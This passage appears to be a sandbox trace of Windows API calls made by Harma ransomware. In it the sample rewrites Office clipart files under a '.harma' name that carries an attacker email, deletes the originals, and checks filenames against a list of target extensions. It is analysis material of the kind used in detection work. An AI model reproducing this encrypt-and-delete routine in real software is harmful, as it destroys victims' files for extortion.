Office\\CLIPART\\PUB60COR\\J0099178.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0163.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0163.181] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0163.181] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0163.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.213] GetLastError () returned 0x0 [0163.213] ReadFile (in: hFile=0x378, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0xe16, lpOverlapped=0x0) returned 1 [0163.606] WriteFile (in: hFile=0x39c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xe20, lpOverlapped=0x0) returned 1 [0163.608] ReadFile (in: hFile=0x378, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0163.608] WriteFile (in: hFile=0x39c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0163.608] SetEndOfFile (hFile=0x39c) returned 1 [0163.608] CloseHandle (hObject=0x39c) returned 1 [0163.608] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0163.608] SetEndOfFile (hFile=0x378) returned 1 [0163.610] CloseHandle (hObject=0x378) returned 1 [0163.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0164.201] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf")) returned 1 [0164.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0164.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0164.266] lstrlenW (lpString=".doc") returned 4 [0164.266] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.266] lstrlenW (lpString=".docx") returned 5 [0164.266] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0164.266] lstrlenW (lpString=".pdf") returned 4 [0164.266] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.266] lstrlenW (lpString=".xls") returned 4 [0164.266] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.266] lstrlenW (lpString=".xlsx") returned 5 [0164.266] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0164.267] lstrlenW (lpString=".ppt") returned 4 [0164.267] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0164.267] lstrlenW (lpString=".zip") returned 4 [0164.267] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.267] lstrlenW (lpString=".rar") returned 4 [0164.267] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.267] lstrlenW (lpString=".bz2") returned 4 [0164.267] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.267] lstrlenW (lpString=".7z") returned 3 [0164.267] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0164.267] lstrlenW (lpString=".dbf") returned 4 [0164.267] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0164.267] lstrlenW (lpString=".1cd") returned 4 [0164.267] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0164.267] lstrlenW (lpString=".jpg") returned 4 [0164.267] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0164.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0164.268] lstrlenW (lpString=".doc") returned 4 [0164.268] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.268] lstrlenW (lpString=".docx") returned 5 [0164.268] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0164.268] lstrlenW (lpString=".pdf") returned 4 [0164.268] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.268] lstrlenW (lpString=".xls") returned 4 [0164.268] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.268] lstrlenW (lpString=".xlsx") returned 5 [0164.268] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0164.268] lstrlenW (lpString=".ppt") returned 4 [0164.268] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0164.268] lstrlenW (lpString=".zip") returned 4 [0164.268] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.268] lstrlenW (lpString=".rar") returned 4 [0164.268] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.268] lstrlenW (lpString=".bz2") returned 4 [0164.268] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.268] lstrlenW (lpString=".7z") returned 3 [0164.268] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0164.269] lstrlenW (lpString=".dbf") returned 4 [0164.269] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0164.269] lstrlenW (lpString=".1cd") returned 4 [0164.269] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned 63 [0164.269] lstrlenW (lpString=".jpg") returned 4 [0164.269] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.269] lstrcmpiW (lpString1=".JPG", lpString2=".harma") returned 1 [0164.269] lstrlenW (lpString="J0099187.JPG") returned 12 [0164.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0164.270] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=24528) returned 1 [0164.270] CloseHandle (hObject=0x33c) returned 1 [0164.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg")) returned 0x20 [0164.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0164.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0164.271] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0164.271] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0164.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0164.272] GetLastError () returned 0x0 [0164.272] ReadFile (in: hFile=0x33c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x5fd0, lpOverlapped=0x0) returned 1 [0164.299] WriteFile (in: hFile=0x3a8, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x5fe0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x5fe0, lpOverlapped=0x0) returned 1 [0164.301] ReadFile (in: hFile=0x33c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0164.301] WriteFile (in: hFile=0x3a8, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0164.301] SetEndOfFile (hFile=0x3a8) returned 1 [0165.503] CloseHandle (hObject=0x3a8) returned 1 [0165.504] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0165.504] SetEndOfFile (hFile=0x33c) returned 1 [0166.144] CloseHandle (hObject=0x33c) returned 1 [0166.144] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0166.144] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg")) returned 1 [0166.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0166.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0166.146] lstrlenW (lpString=".doc") returned 4 [0166.146] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0166.146] lstrlenW (lpString=".docx") returned 5 [0166.146] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0166.146] lstrlenW (lpString=".pdf") returned 4 [0166.146] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0166.146] lstrlenW (lpString=".xls") returned 4 [0166.146] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0166.146] lstrlenW (lpString=".xlsx") returned 5 [0166.146] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0166.146] lstrlenW (lpString=".ppt") returned 4 [0166.146] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0166.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0166.146] lstrlenW (lpString=".zip") returned 4 [0166.146] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0166.146] lstrlenW (lpString=".rar") returned 4 [0166.146] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0166.147] lstrlenW (lpString=".bz2") returned 4 [0166.147] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0166.147] lstrlenW (lpString=".7z") returned 3 [0166.147] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0166.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0166.147] lstrlenW (lpString=".dbf") returned 4 [0166.147] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0166.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0166.147] lstrlenW (lpString=".1cd") returned 4 [0166.147] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0166.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0166.147] lstrlenW (lpString=".jpg") returned 4 [0166.147] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0166.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0166.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0166.147] lstrlenW (lpString=".doc") returned 4 [0166.147] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0166.147] lstrlenW (lpString=".docx") returned 5 [0166.147] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0166.148] lstrlenW (lpString=".pdf") returned 4 [0166.148] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0166.148] lstrlenW (lpString=".xls") returned 4 [0166.148] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0166.148] lstrlenW (lpString=".xlsx") returned 5 [0166.148] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0166.148] lstrlenW (lpString=".ppt") returned 4 [0166.148] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0166.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0166.148] lstrlenW (lpString=".zip") returned 4 [0166.148] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0166.148] lstrlenW (lpString=".rar") returned 4 [0166.148] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0166.148] lstrlenW (lpString=".bz2") returned 4 [0166.148] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0166.148] lstrlenW (lpString=".7z") returned 3 [0166.148] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0166.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0166.149] lstrlenW (lpString=".dbf") returned 4 [0166.149] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0166.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0166.149] lstrlenW (lpString=".1cd") returned 4 [0166.149] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0166.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG") returned 63 [0166.149] lstrlenW (lpString=".jpg") returned 4 [0166.149] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0166.150] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0166.150] lstrlenW (lpString="J0099204.WMF") returned 12 [0166.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0166.485] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=17854) returned 1 [0166.485] CloseHandle (hObject=0x3a4) returned 1 [0166.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf")) returned 0x20 [0166.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0166.486] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0166.486] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0166.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0166.487] GetLastError () returned 0x0 [0166.487] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x45be, lpOverlapped=0x0) returned 1 [0166.489] WriteFile (in: hFile=0x3ac, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x45c0, lpOverlapped=0x0) returned 1 [0166.490] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0166.491] WriteFile (in: hFile=0x3ac, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0166.491] SetEndOfFile (hFile=0x3ac) returned 1 [0166.491] CloseHandle (hObject=0x3ac) returned 1 [0166.491] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0166.491] SetEndOfFile (hFile=0x3a4) returned 1 [0166.493] CloseHandle (hObject=0x3a4) returned 1 [0166.493] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0166.565] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf")) returned 1 [0166.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0166.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0166.566] lstrlenW (lpString=".doc") returned 4 [0166.566] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.566] lstrlenW (lpString=".docx") returned 5 [0166.566] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0166.567] lstrlenW (lpString=".pdf") returned 4 [0166.567] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.567] lstrlenW (lpString=".xls") returned 4 [0166.567] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.567] lstrlenW (lpString=".xlsx") returned 5 [0166.567] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0166.567] lstrlenW (lpString=".ppt") returned 4 [0166.567] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0166.567] lstrlenW (lpString=".zip") returned 4 [0166.567] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.567] lstrlenW (lpString=".rar") returned 4 [0166.567] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.567] lstrlenW (lpString=".bz2") returned 4 [0166.567] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.567] lstrlenW (lpString=".7z") returned 3 [0166.567] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0166.567] lstrlenW (lpString=".dbf") returned 4 [0166.567] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0166.567] lstrlenW (lpString=".1cd") returned 4 [0166.567] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0166.567] lstrlenW (lpString=".jpg") returned 4 [0166.567] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0166.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0166.567] lstrlenW (lpString=".doc") returned 4 [0166.567] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.567] lstrlenW (lpString=".docx") returned 5 [0166.568] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0166.568] lstrlenW (lpString=".pdf") returned 4 [0166.568] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.568] lstrlenW (lpString=".xls") returned 4 [0166.568] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.568] lstrlenW (lpString=".xlsx") returned 5 [0166.568] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0166.568] lstrlenW (lpString=".ppt") returned 4 [0166.568] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0166.568] lstrlenW (lpString=".zip") returned 4 [0166.568] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.568] lstrlenW (lpString=".rar") returned 4 [0166.568] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.568] lstrlenW (lpString=".bz2") returned 4 [0166.568] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.568] lstrlenW (lpString=".7z") returned 3 [0166.568] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0166.568] lstrlenW (lpString=".dbf") returned 4 [0166.568] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0166.568] lstrlenW (lpString=".1cd") returned 4 [0166.568] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0166.568] lstrlenW (lpString=".jpg") returned 4 [0166.568] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.568] lstrcmpiW (lpString1=".BMP", lpString2=".harma") returned -1 [0166.569] lstrlenW (lpString="J0101867.BMP") returned 12 [0166.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0166.570] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=32616) returned 1 [0166.571] CloseHandle (hObject=0x378) returned 1 [0166.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp")) returned 0x20 [0166.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0166.622] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0166.622] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, 